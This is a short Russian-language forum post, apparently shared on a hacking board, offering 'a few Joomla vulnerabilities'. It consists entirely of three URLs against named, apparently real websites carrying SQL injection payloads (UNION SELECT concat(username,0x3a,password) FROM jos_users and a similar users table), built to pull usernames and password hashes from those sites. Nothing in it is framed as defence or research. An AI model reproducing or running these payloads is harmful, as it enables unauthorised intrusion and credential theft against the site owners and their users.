От меня немножко уязвимостей в Joomla:

http://4web.ws/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM +jos_users/*
http://www.maybach-manufaktur.ru/news/?id=-9+union+select+1,2,3,4,concat(login,0x3a,pwd),6,7, 8,9+from+maybach_users/*
http://www.el-edu.com/index.php?option=com_puarcade&Itemid=99999&fid=-1+UNION+SELECT+concat(username,0x3a,password)+FROM +jos_users/*